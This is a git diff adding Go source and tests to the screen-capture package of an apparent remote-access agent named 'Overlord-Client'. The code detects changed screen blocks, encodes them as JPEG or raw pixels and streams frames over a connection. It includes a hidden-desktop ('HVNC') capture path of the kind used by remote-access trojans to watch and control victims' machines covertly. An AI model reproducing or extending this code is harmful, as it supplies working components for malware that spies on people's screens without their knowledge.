+ changed := blockChanged(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
+ if !changed && blockIntersectsROI(x, y, ww, hh, rois) {
+ changed = blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
+ }
+ if changed {
+ changedGrid[by*blocksWide+bx] = true
+ changedCount++
+ }
+ }
+ }
+
+ statDetectNs.Add(time.Since(passDetectStart).Nanoseconds())
+
+ if changedCount == 0 {
+ buf := bytes.Buffer{}
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(width))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(height))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(0))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(0))
+ return 0, buf.Bytes(), 0, nil
+ }
+
+ mergeStart := time.Now()
+ var regions []streamRegion
+ visited := make([]bool, len(changedGrid))
+
+ for by := 0; by < blocksHigh; by++ {
+ for bx := 0; bx < blocksWide; bx++ {
+ idx := by*blocksWide + bx
+ if !changedGrid[idx] || visited[idx] {
+ continue
+ }
+
+ endX := bx
+ for endX+1 < blocksWide && changedGrid[by*blocksWide+endX+1] && !visited[by*blocksWide+endX+1] {
+ endX++
+ }
+
+ endY := by
+ canExpandY := true
+ for canExpandY && endY+1 < blocksHigh {
+ for tx := bx; tx <= endX; tx++ {
+ if !changedGrid[(endY+1)*blocksWide+tx] || visited[(endY+1)*blocksWide+tx] {
+ canExpandY = false
+ break
+ }
+ }
+ if canExpandY {
+ endY++
+ }
+ }
+
+ for ry := by; ry <= endY; ry++ {
+ for rx := bx; rx <= endX; rx++ {
+ visited[ry*blocksWide+rx] = true
+ }
+ }
+
+ x := bx * blockSize
+ y := by * blockSize
+ w := ((endX + 1) * blockSize)
+ h := ((endY + 1) * blockSize)
+
+ if x >= blockMargin {
+ x -= blockMargin
+ w += blockMargin
+ } else {
+ w += x
+ x = 0
+ }
+ if y >= blockMargin {
+ y -= blockMargin
+ h += blockMargin
+ } else {
+ h += y
+ y = 0
+ }
+
+ w += blockMargin
+ h += blockMargin
+
+ if w > width {
+ w = width
+ }
+ if h > height {
+ h = height
+ }
+ w -= x
+ h -= y
+
+ regions = append(regions, streamRegion{x: x, y: y, w: w, h: h})
+ }
+ }
+ sortRegionsByROI(regions, rois)
+
+ statMergeNs.Add(time.Since(mergeStart).Nanoseconds())
+
+ buf := bytes.Buffer{}
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(width))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(height))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(len(regions)))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(0))
+
+ totalEncDur := time.Duration(0)
+ for _, r := range regions {
+ t0 := time.Now()
+ var payload []byte
+ var err error
+ if codec == "raw" {
+ payload = encodeBlockRaw(img, r.x, r.y, r.w, r.h)
+ } else {
+
+ blockQuality := quality + 10
+ if blockQuality > 100 {
+ blockQuality = 100
+ }
+ payload, err = encodeJPEG(img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality)
+ }
+ blockDur := time.Since(t0)
+ totalEncDur += blockDur
+ statBlkJpegNs.Add(blockDur.Nanoseconds())
+ if err != nil {
+ return len(regions), nil, totalEncDur, err
+ }
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(r.x))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(r.y))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(r.w))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(r.h))
+ _ = binary.Write(&buf, binary.LittleEndian, uint32(len(payload)))
+ buf.Write(payload)
+ }
+
+ prevCopyStart := time.Now()
+ prevMu.Lock()
+ copyPrev(img)
+ prevMu.Unlock()
+ statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds())
+
+ return len(regions), buf.Bytes(), totalEncDur, nil
+}
+
+func blockChanged(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
+ changedPixels := 0
+ sampledPixels := 0
+
+ for row := 0; row < h; row += samplingRate {
+ for col := 0; col < w; col += samplingRate {
+ sampledPixels++
+ ci := (y+row)*curStride + (x+col)*4
+ pi := (y+row)*prevStride + (x+col)*4
+
+ if ci+3 >= len(cur) || pi+3 >= len(prev) {
+ continue
+ }
+
+ dr := int(cur[ci]) - int(prev[pi])
+ dg := int(cur[ci+1]) - int(prev[pi+1])
+ db := int(cur[ci+2]) - int(prev[pi+2])
+
+ if dr < 0 {
+ dr = -dr
+ }
+ if dg < 0 {
+ dg = -dg
+ }
+ if db < 0 {
+ db = -db
+ }
+
+ if dr > changeThresh || dg > changeThresh || db > changeThresh {
+ changedPixels++
+
+ if sampledPixels > 20 && changedPixels*33 > sampledPixels {
+ return true
+ }
+ }
+ }
+ }
+
+ if sampledPixels == 0 {
+ return false
+ }
+ return changedPixels*33 > sampledPixels
+}
+
+func collectROIHints(display, width, height int) []roiHint {
+ frame := image.Rect(0, 0, width, height)
+ bounds := DisplayBounds(display)
+ out := make([]roiHint, 0, 2)
+ add := func(abs image.Rectangle, weight int, margin int) {
+ if abs.Dx() <= 0 || abs.Dy() <= 0 {
+ return
+ }
+ abs = expandRect(abs, margin)
+ local := image.Rect(
+ abs.Min.X-bounds.Min.X,
+ abs.Min.Y-bounds.Min.Y,
+ abs.Max.X-bounds.Min.X,
+ abs.Max.Y-bounds.Min.Y,
+ ).Intersect(frame)
+ if local.Dx() > 0 && local.Dy() > 0 {
+ out = append(out, roiHint{rect: local, weight: weight})
+ }
+ }
+ if r, ok := cursorROI(); ok {
+ add(r, 3, cursorROIMargin)
+ }
+ if r, ok := focusWindowROI(); ok {
+ add(r, 2, windowROIMargin)
+ }
+ return out
+}
+
+func expandRect(r image.Rectangle, margin int) image.Rectangle {
+ if margin <= 0 {
+ return r
+ }
+ return image.Rect(r.Min.X-margin, r.Min.Y-margin, r.Max.X+margin, r.Max.Y+margin)
+}
+
+func blockIntersectsROI(x, y, w, h int, hints []roiHint) bool {
+ if len(hints) == 0 {
+ return false
+ }
+ block := image.Rect(x, y, x+w, y+h)
+ for _, h := range hints {
+ if block.Overlaps(h.rect) {
+ return true
+ }
+ }
+ return false
+}
+
+func overlapArea(a, b image.Rectangle) int {
+ r := a.Intersect(b)
+ if r.Dx() <= 0 || r.Dy() <= 0 {
+ return 0
+ }
+ return r.Dx() * r.Dy()
+}
+
+func regionPriority(r streamRegion, hints []roiHint) int {
+ if len(hints) == 0 {
+ return 0
+ }
+ rr := image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)
+ score := 0
+ for _, h := range hints {
+ score += overlapArea(rr, h.rect) * h.weight
+ }
+ return score
+}
+
+func sortRegionsByROI(regions []streamRegion, hints []roiHint) {
+ if len(regions) < 2 || len(hints) == 0 {
+ return
+ }
+ sort.SliceStable(regions, func(i, j int) bool {
+ si := regionPriority(regions[i], hints)
+ sj := regionPriority(regions[j], hints)
+ if si != sj {
+ return si > sj
+ }
+ if regions[i].y != regions[j].y {
+ return regions[i].y < regions[j].y
+ }
+ return regions[i].x < regions[j].x
+ })
+}
+
+func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
+ changedPixels := 0
+ sampledPixels := 0
+
+ for row := 0; row < h; row += hvncSamplingRate {
+ for col := 0; col < w; col += hvncSamplingRate {
+ sampledPixels++
+ ci := (y+row)*curStride + (x+col)*4
+ pi := (y+row)*prevStride + (x+col)*4
+
+ if ci+3 >= len(cur) || pi+3 >= len(prev) {
+ continue
+ }
+
+ dr := int(cur[ci]) - int(prev[pi])
+ dg := int(cur[ci+1]) - int(prev[pi+1])
+ db := int(cur[ci+2]) - int(prev[pi+2])
+
+ if dr < 0 {
+ dr = -dr
+ }
+ if dg < 0 {
+ dg = -dg
+ }
+ if db < 0 {
+ db = -db
+ }
+
+ if dr > hvncChangeThresh || dg > hvncChangeThresh || db > hvncChangeThresh {
+ changedPixels++
+
+ if sampledPixels > 20 && changedPixels*100 > sampledPixels {
+ return true
+ }
+ }
+ }
+ }
+
+ if sampledPixels == 0 {
+ return false
+ }
+ return changedPixels*100 > sampledPixels
+}
+
+func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) {
+ width := img.Bounds().Dx()
+ height := img.Bounds().Dy()
+ stride := img.Stride
+ prevStride := prev.w * 4
+ rois := collectROIHints(display, width, height)
+
+ blocksWide := (width + blockSize - 1) / blockSize
+ blocksHigh := (height + blockSize - 1) / blockSize
+ changedGrid := make([]bool, blocksWide*blocksHigh)
+
+ changedCount := 0
+ passDetectStart := time.Now()
+ for by := 0; by < blocksHigh; by++ {
+ for bx := 0; bx < blocksWide; bx++ {
+ x := bx * blockSize
+ y := by * blockSize
+ ww := blockSize
+ hh := blockSize
+ if x+ww > width {
+ ww = width - x
+ }
+ if y+hh > height {
+ hh = height - y
+ }
+
+ if blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) {
+ changedGrid[by*blocksWide+bx] = true
+ changedCount++
+ }
+ }
+ }
+
+ statDetectNs.Add(time.Since(passDetectStart).Nanoseconds())
+
+ if changedCount == 0 {
+ buf := bytes.Buffer{}
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(width))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(height))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(0))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(0))
+ return 0, buf.Bytes(), 0, nil
+ }
+
+ mergeStart := time.Now()
+ var regions []streamRegion
+ visited := make([]bool, len(changedGrid))
+
+ for by := 0; by < blocksHigh; by++ {
+ for bx := 0; bx < blocksWide; bx++ {
+ idx := by*blocksWide + bx
+ if !changedGrid[idx] || visited[idx] {
+ continue
+ }
+
+ endX := bx
+ for endX+1 < blocksWide && changedGrid[by*blocksWide+endX+1] && !visited[by*blocksWide+endX+1] {
+ endX++
+ }
+
+ endY := by
+ canExpandY := true
+ for canExpandY && endY+1 < blocksHigh {
+ for tx := bx; tx <= endX; tx++ {
+ if !changedGrid[(endY+1)*blocksWide+tx] || visited[(endY+1)*blocksWide+tx] {
+ canExpandY = false
+ break
+ }
+ }
+ if canExpandY {
+ endY++
+ }
+ }
+
+ for ry := by; ry <= endY; ry++ {
+ for rx := bx; rx <= endX; rx++ {
+ visited[ry*blocksWide+rx] = true
+ }
+ }
+
+ x := bx * blockSize
+ y := by * blockSize
+ w := ((endX + 1) * blockSize)
+ h := ((endY + 1) * blockSize)
+
+ if x >= blockMargin {
+ x -= blockMargin
+ w += blockMargin
+ } else {
+ w += x
+ x = 0
+ }
+ if y >= blockMargin {
+ y -= blockMargin
+ h += blockMargin
+ } else {
+ h += y
+ y = 0
+ }
+
+ w += blockMargin
+ h += blockMargin
+
+ if w > width {
+ w = width
+ }
+ if h > height {
+ h = height
+ }
+ w -= x
+ h -= y
+
+ regions = append(regions, streamRegion{x, y, w, h})
+ }
+ }
+ sortRegionsByROI(regions, rois)
+ statMergeNs.Add(time.Since(mergeStart).Nanoseconds())
+
+ buf := bytes.Buffer{}
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(width))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(height))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(len(regions)))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(0))
+
+ totalEncDur := time.Duration(0)
+ for _, r := range regions {
+ encStart := time.Now()
+ var payload []byte
+ var err error
+ if codec == "raw" {
+ payload = encodeBlockRaw(img, r.x, r.y, r.w, r.h)
+ } else {
+ blockQuality := quality + 10
+ if blockQuality > 100 {
+ blockQuality = 100
+ }
+ payload, err = encodeJPEG(img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality)
+ if err != nil {
+ return 0, nil, 0, err
+ }
+ }
+ totalEncDur += time.Since(encStart)
+
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(r.x))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(r.y))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(r.w))
+ _ = binary.Write(&buf, binary.LittleEndian, uint16(r.h))
+ _ = binary.Write(&buf, binary.LittleEndian, uint32(len(payload)))
+ buf.Write(payload)
+ }
+
+ prevCopyStart := time.Now()
+ prevMu.Lock()
+ copyPrev(img)
+ prevMu.Unlock()
+ statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds())
+
+ return len(regions), buf.Bytes(), totalEncDur, nil
+}
+
+func copyPrev(img *image.RGBA) {
+ width := img.Bounds().Dx()
+ height := img.Bounds().Dy()
+ buf := make([]byte, len(img.Pix))
+ copy(buf, img.Pix)
+ prevFrame = &prevImage{w: width, h: height, pix: buf}
+}
+
+func encodeBlockRaw(img *image.RGBA, x, y, w, h int) []byte {
+ stride := img.Stride
+ buf := make([]byte, w*h*4)
+ dst := 0
+ srcBase := y*stride + x*4
+ for row := 0; row < h; row++ {
+ src := srcBase + row*stride
+ copy(buf[dst:dst+w*4], img.Pix[src:src+w*4])
+ dst += w * 4
+ }
+ return buf
+}
+
+func blockCodec() string {
+ if v := overrideCodec.Load(); v != nil {
+ if s, ok := v.(string); ok && s != "" {
+ return s
+ }
+ }
+ blockCodecOnce.Do(func() {
+ codec := strings.ToLower(os.Getenv(blockCodecEnv))
+ switch codec {
+ case "raw", "rgba":
+ cachedBlockCodec = "raw"
+ case "jpeg", "":
+ cachedBlockCodec = "jpeg"
+ default:
+ cachedBlockCodec = "jpeg"
+ }
+ })
+ return cachedBlockCodec
+}
+
+func SetQualityAndCodec(quality int, codec string) {
+ if quality > 0 {
+ if quality > 100 {
+ quality = 100
+ }
+ overrideQuality.Store(int64(quality))
+ }
+ s := strings.ToLower(strings.TrimSpace(codec))
+ switch s {
+ case "raw", "rgba", "jpeg":
+ overrideCodec.Store(s)
+ case "":
+
+ default:
+ overrideCodec.Store("jpeg")
+ }
+}
+
+func NowHVNC(ctx context.Context, env *rt.Env) error {
+ if env.Cfg.DisableCapture {
+ return sendBlackFrameHVNC(ctx, env)
+ }
+ if !supportsHVNCCapture() {
+ return nil
+ }
+ return captureAndSendHVNC(ctx, env)
+}
+
+func supportsHVNCCapture() bool {
+ count := HVNCMonitorCount()
+ return count > 0
+}
+
+func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
+ defer func() {
+ if r := recover(); r != nil {
+ log.Printf("hvnc capture: panic in captureAndSendHVNC: %v", r)
+ }
+ }()
+
+ display := env.HVNCSelectedDisplay
+ if display < 0 || display >= HVNCMonitorCount() {
+ display = 0
+ log.Printf("hvnc capture: requested display %d out of range, defaulting to 0", display)
+ }
+
+ t0 := time.Now()
+ img, err := safeHVNCCaptureDisplay(display)
+ if err != nil {
+ log.Printf("hvnc capture: capture failed: %v (sending black frame)", err)
+ return sendBlackFrameHVNC(ctx, env)
+ }
+ if img == nil {
+ log.Printf("hvnc capture: capture returned nil image (sending black frame)")
+ return sendBlackFrameHVNC(ctx, env)
+ }
+ captureDur := time.Since(t0)
+
+ quality := jpegQuality()
+ frame, encodeDur, err := buildFrameHVNC(img, display, quality)
+ if err != nil {
+ return err
+ }
+
+ now := time.Now()
+ fps := frameFPS(now)
+ if fps <= 0 {
+ fps = 1
+ }
+ frame.Header.FPS = fps
+
+ if ctx.Err() != nil {
+ return nil
+ }
+
+ sendStart := time.Now()
+ err = wire.WriteMsg(ctx, env.Conn, frame)
+ sendDur := time.Since(sendStart)
+
+ if shouldLogFrame(now) {
+ total := time.Since(t0)
+ log.Printf("hvnc capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
+ display, fps, frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
+ }
+
+ return err
+}
+
+func safeHVNCCaptureDisplay(display int) (*image.RGBA, error) {
+ defer func() {
+ _ = recover()
+ }()
+ img, err := hvncCaptureDisplay(display)
+ if err != nil {
+ return nil, err
+ }
+ return img, nil
+}
+
+func sendBlackFrameHVNC(ctx context.Context, env *rt.Env) error {
+ if ctx.Err() != nil {
+ return nil
+ }
+
+ img := image.NewRGBA(image.Rect(0, 0, 64, 64))
+ quality := 60
+ frame, _, err := buildFrame(img, 0, quality)
+ if err != nil {
+ return err
+ }
+ frame.Header.FPS = 1
+ return wire.WriteMsg(ctx, env.Conn, frame)
+}
diff --git a/Overlord-Client/cmd/agent/capture/capture_linux.go b/Overlord-Client/cmd/agent/capture/capture_linux.go
new file mode 100644
index 0000000..9134198
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/capture_linux.go
@@ -0,0 +1,13 @@
+//go:build linux
+
+package capture
+
+import (
+ "image"
+)
+
+var activeDisplays = func() int { return 0 }
+
+var captureDisplayFn = func(int) (*image.RGBA, error) { return nil, nil }
+
+func displayCount() int { return 0 }
diff --git a/Overlord-Client/cmd/agent/capture/capture_public_windows.go b/Overlord-Client/cmd/agent/capture/capture_public_windows.go
new file mode 100644
index 0000000..96fdcb2
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/capture_public_windows.go
@@ -0,0 +1,17 @@
+//go:build windows
+
+package capture
+
+import "image"
+
+func CaptureDisplayRGBABitBlt(display int) (*image.RGBA, error) {
+ return captureDisplayBitBlt(display)
+}
+
+func CaptureDisplayRGBAPreferBitBlt(display int) (*image.RGBA, error) {
+ img, err := captureDisplayBitBlt(display)
+ if err == nil && img != nil {
+ return img, nil
+ }
+ return CaptureDisplayRGBA(display)
+}
diff --git a/Overlord-Client/cmd/agent/capture/capture_test.go b/Overlord-Client/cmd/agent/capture/capture_test.go
new file mode 100644
index 0000000..fba6d4e
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/capture_test.go
@@ -0,0 +1,434 @@
+package capture
+
+import (
+ "bytes"
+ "context"
+ "image"
+ "image/color"
+ "image/jpeg"
+ "testing"
+ "time"
+
+ "overlord-client/cmd/agent/config"
+ rt "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+
+ "github.com/vmihailenco/msgpack/v5"
+ "nhooyr.io/websocket"
+)
+
+type recordingWriter struct {
+ msgs [][]byte
+ types []websocket.MessageType
+}
+
+func (w *recordingWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
+ w.types = append(w.types, messageType)
+ w.msgs = append(w.msgs, append([]byte(nil), p...))
+ return nil
+}
+
+func TestCaptureAndSend_NoDisplays(t *testing.T) {
+ originalCount := activeDisplays
+ activeDisplays = func() int { return 0 }
+ t.Cleanup(func() { activeDisplays = originalCount })
+
+ writer := &recordingWriter{}
+ env := &rt.Env{Conn: writer, Cfg: config.Config{}}
+ if err := CaptureAndSend(context.Background(), env); err != nil {
+ t.Fatalf("expected nil error when no displays, got %v", err)
+ }
+ if len(writer.msgs) != 0 {
+ t.Fatalf("expected no messages when no displays, got %d", len(writer.msgs))
+ }
+}
+
+func TestCaptureAndSend_SendsFrame(t *testing.T) {
+ originalCount := activeDisplays
+ originalCapture := captureDisplayFn
+ activeDisplays = func() int { return 1 }
+ captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
+ img := image.NewRGBA(image.Rect(0, 0, 2, 2))
+
+ img.Set(0, 0, color.RGBA{R: 200, G: 10, B: 10, A: 255})
+ return img, nil
+ }
+ t.Cleanup(func() {
+ activeDisplays = originalCount
+ captureDisplayFn = originalCapture
+ })
+
+ writer := &recordingWriter{}
+ env := &rt.Env{Conn: writer, Cfg: config.Config{}}
+ if err := CaptureAndSend(context.Background(), env); err != nil {
+ t.Fatalf("CaptureAndSend returned error: %v", err)
+ }
+ if len(writer.msgs) != 1 {
+ t.Fatalf("expected one message written, got %d", len(writer.msgs))
+ }
+
+ var frame wire.Frame
+ if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
+ t.Fatalf("decode frame: %v", err)
+ }
+ if frame.Type != "frame" {
+ t.Fatalf("unexpected frame type: %s", frame.Type)
+ }
+ if frame.Header.Format != "jpeg" {
+ t.Fatalf("unexpected frame format: %s", frame.Header.Format)
+ }
+ if len(frame.Data) == 0 {
+ t.Fatalf("expected jpeg data to be present")
+ }
+
+ if _, err := jpeg.Decode(bytes.NewReader(frame.Data)); err != nil {
+ t.Fatalf("jpeg payload did not decode: %v", err)
+ }
+}
+
+func TestActualScreenCapture(t *testing.T) {
+ displayCount := safeDisplayCount()
+ if displayCount == 0 {
+ t.Log("WARNING: No displays detected, skipping real screen capture test")
+ return
+ }
+
+ t.Logf("Testing screen capture with %d display(s)", displayCount)
+
+ img, err := safeCaptureDisplay(0)
+ if err != nil {
+ t.Logf("WARNING: Failed to capture display 0: %v", err)
+ return
+ }
+
+ if img == nil {
+ t.Log("WARNING: Capture returned nil image")
+ return
+ }
+
+ bounds := img.Bounds()
+ if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
+ t.Errorf("Invalid image dimensions: %dx%d", bounds.Dx(), bounds.Dy())
+ return
+ }
+
+ t.Logf("Successfully captured %dx%d image from display 0", bounds.Dx(), bounds.Dy())
+
+ hasVariation := false
+ firstPixel := img.RGBAAt(0, 0)
+ for y := 0; y < bounds.Dy() && !hasVariation; y++ {
+ for x := 0; x < bounds.Dx(); x++ {
+ pixel := img.RGBAAt(x, y)
+ if pixel != firstPixel {
+ hasVariation = true
+ break
+ }
+ }
+ }
+
+ if !hasVariation {
+ t.Log("WARNING: Captured image appears to be solid color (may indicate capture issue)")
+ }
+
+ quality := jpegQuality()
+ frame, encodeDur, err := buildFrame(img, 0, quality)
+ if err != nil {
+ t.Errorf("Failed to build frame from captured image: %v", err)
+ return
+ }
+
+ t.Logf("Encoded frame: size=%d bytes, encode_time=%s, format=%s",
+ len(frame.Data), encodeDur, frame.Header.Format)
+
+ decodedImg, err := jpeg.Decode(bytes.NewReader(frame.Data))
+ if err != nil {
+ t.Errorf("Failed to decode JPEG frame: %v", err)
+ return
+ }
+
+ if decodedImg.Bounds().Dx() <= 0 || decodedImg.Bounds().Dy() <= 0 {
+ t.Errorf("Decoded image has invalid dimensions: %dx%d",
+ decodedImg.Bounds().Dx(), decodedImg.Bounds().Dy())
+ }
+}
+
+func TestMultipleDisplays(t *testing.T) {
+ displayCount := safeDisplayCount()
+ if displayCount == 0 {
+ t.Log("WARNING: No displays detected, skipping multi-display test")
+ return
+ }
+
+ if displayCount == 1 {
+ t.Log("Only one display detected, testing single display")
+ }
+
+ for i := 0; i < displayCount; i++ {
+ t.Run("Display"+string(rune('0'+i)), func(t *testing.T) {
+ img, err := safeCaptureDisplay(i)
+ if err != nil {
+ t.Logf("WARNING: Failed to capture display %d: %v", i, err)
+ return
+ }
+
+ if img == nil {
+ t.Logf("WARNING: Capture returned nil for display %d", i)
+ return
+ }
+
+ bounds := img.Bounds()
+ t.Logf("Display %d: %dx%d", i, bounds.Dx(), bounds.Dy())
+
+ if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
+ t.Errorf("Display %d has invalid dimensions", i)
+ }
+ })
+ }
+}
+
+func TestSupportsCapture(t *testing.T) {
+ hasDisplays := supportsCapture()
+ displayCount := safeDisplayCount()
+
+ if hasDisplays && displayCount == 0 {
+ t.Error("supportsCapture returned true but displayCount is 0")
+ }
+
+ if !hasDisplays && displayCount > 0 {
+ t.Error("supportsCapture returned false but displayCount > 0")
+ }
+
+ t.Logf("Capture support: %v (displays: %d)", hasDisplays, displayCount)
+}
+
+func TestCaptureWithDifferentDisplayIndices(t *testing.T) {
+ displayCount := safeDisplayCount()
+ if displayCount == 0 {
+ t.Skip("No displays available")
+ }
+
+ tests := []struct {
+ name string
+ index int
+ valid bool
+ }{
+ {"ValidFirst", 0, true},
+ {"ValidLast", displayCount - 1, true},
+ {"InvalidNegative", -1, false},
+ {"InvalidTooHigh", displayCount + 10, false},
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ img, err := safeCaptureDisplay(tt.index)
+
+ if tt.valid {
+ if err != nil {
+ t.Errorf("Expected valid capture, got error: %v", err)
+ }
+ if img == nil {
+ t.Error("Expected image, got nil")
+ }
+ } else {
+
+ if img != nil && err == nil {
+ t.Logf("WARNING: Invalid index %d returned image instead of error", tt.index)
+ }
+ }
+ })
+ }
+}
+
+func TestFrameFPS(t *testing.T) {
+
+ resetStats()
+
+ for i := 0; i < 10; i++ {
+ statFrames.Add(1)
+ }
+
+ fps := frameFPS(time.Now())
+ if fps < 0 {
+ t.Errorf("FPS should not be negative, got %d", fps)
+ }
+
+ t.Logf("Calculated FPS: %d", fps)
+}
+
+func TestJPEGQuality(t *testing.T) {
+ quality := jpegQuality()
+ if quality < 1 || quality > 100 {
+ t.Errorf("JPEG quality out of range: %d (expected 1-100)", quality)
+ }
+ t.Logf("JPEG quality: %d", quality)
+}
+
+func TestCaptureAndSend_DisplayOutOfRange(t *testing.T) {
+ originalCount := activeDisplays
+ originalCapture := captureDisplayFn
+ activeDisplays = func() int { return 2 }
+ capturedDisplay := -1
+ captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
+ capturedDisplay = displayIndex
+ img := image.NewRGBA(image.Rect(0, 0, 2, 2))
+ return img, nil
+ }
+ t.Cleanup(func() {
+ activeDisplays = originalCount
+ captureDisplayFn = originalCapture
+ })
+
+ tests := []struct {
+ name string
+ selectedDisplay int
+ expectedDisplay int
+ }{
+ {"NegativeDisplay", -1, 0},
+ {"TooHighDisplay", 10, 0},
+ {"ValidDisplay", 1, 1},
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ capturedDisplay = -1
+ writer := &recordingWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ SelectedDisplay: tt.selectedDisplay,
+ }
+
+ if err := CaptureAndSend(context.Background(), env); err != nil {
+ t.Fatalf("CaptureAndSend failed: %v", err)
+ }
+
+ if capturedDisplay != tt.expectedDisplay {
+ t.Errorf("expected capture from display %d, got %d", tt.expectedDisplay, capturedDisplay)
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Errorf("expected 1 message, got %d", len(writer.msgs))
+ }
+ })
+ }
+}
+
+func TestNow_DisableCapture(t *testing.T) {
+ writer := &recordingWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{DisableCapture: true},
+ }
+
+ if err := Now(context.Background(), env); err != nil {
+ t.Fatalf("Now with DisableCapture failed: %v", err)
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("expected 1 black frame message, got %d", len(writer.msgs))
+ }
+
+ var frame wire.Frame
+ if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
+ t.Fatalf("failed to decode frame: %v", err)
+ }
+
+ if frame.Type != "frame" {
+ t.Errorf("expected frame type 'frame', got '%s'", frame.Type)
+ }
+
+ img, err := jpeg.Decode(bytes.NewReader(frame.Data))
+ if err != nil {
+ t.Fatalf("failed to decode JPEG: %v", err)
+ }
+
+ bounds := img.Bounds()
+ if bounds.Dx() != 64 || bounds.Dy() != 64 {
+ t.Errorf("expected 64x64 black frame, got %dx%d", bounds.Dx(), bounds.Dy())
+ }
+}
+
+func TestNow_NoDisplays(t *testing.T) {
+ originalCount := activeDisplays
+ activeDisplays = func() int { return 0 }
+ t.Cleanup(func() { activeDisplays = originalCount })
+
+ writer := &recordingWriter{}
+ env := &rt.Env{Conn: writer, Cfg: config.Config{}}
+
+ if err := Now(context.Background(), env); err != nil {
+ t.Fatalf("Now with no displays failed: %v", err)
+ }
+
+ if len(writer.msgs) != 0 {
+ t.Errorf("expected no messages when no displays, got %d", len(writer.msgs))
+ }
+}
+
+func TestNow_Success(t *testing.T) {
+ originalCount := activeDisplays
+ originalCapture := captureDisplayFn
+ activeDisplays = func() int { return 1 }
+ captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
+ img := image.NewRGBA(image.Rect(0, 0, 4, 4))
+ return img, nil
+ }
+ t.Cleanup(func() {
+ activeDisplays = originalCount
+ captureDisplayFn = originalCapture
+ })
+
+ writer := &recordingWriter{}
+ env := &rt.Env{Conn: writer, Cfg: config.Config{}}
+
+ if err := Now(context.Background(), env); err != nil {
+ t.Fatalf("Now failed: %v", err)
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("expected 1 message, got %d", len(writer.msgs))
+ }
+
+ var frame wire.Frame
+ if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
+ t.Fatalf("failed to decode frame: %v", err)
+ }
+
+ if frame.Type != "frame" {
+ t.Errorf("expected frame type 'frame', got '%s'", frame.Type)
+ }
+}
+
+func TestMonitorCount(t *testing.T) {
+ count := MonitorCount()
+
+ // no monitor means weird
+ if count < 1 {
+ t.Errorf("expected at least 1, got %d", count)
+ }
+
+ t.Logf("MonitorCount returned: %d", count)
+}
+
+func TestCaptureAndSend_CancelledContext(t *testing.T) {
+ originalCount := activeDisplays
+ originalCapture := captureDisplayFn
+ activeDisplays = func() int { return 1 }
+ captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
+ img := image.NewRGBA(image.Rect(0, 0, 2, 2))
+ return img, nil
+ }
+ t.Cleanup(func() {
+ activeDisplays = originalCount
+ captureDisplayFn = originalCapture
+ })
+
+ ctx, cancel := context.WithCancel(context.Background())
+ cancel() // fuck no
+
+ writer := &recordingWriter{}
+ env := &rt.Env{Conn: writer, Cfg: config.Config{}}
+
+ // SHOULD handle gracefully, may or may not send depending on timing :sob:
+ _ = CaptureAndSend(ctx, env)
+}
diff --git a/Overlord-Client/cmd/agent/capture/capture_vars_default.go b/Overlord-Client/cmd/agent/capture/capture_vars_default.go
new file mode 100644
index 0000000..85f85ef
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/capture_vars_default.go
@@ -0,0 +1,14 @@
+//go:build !linux && !windows
+
+package capture
+
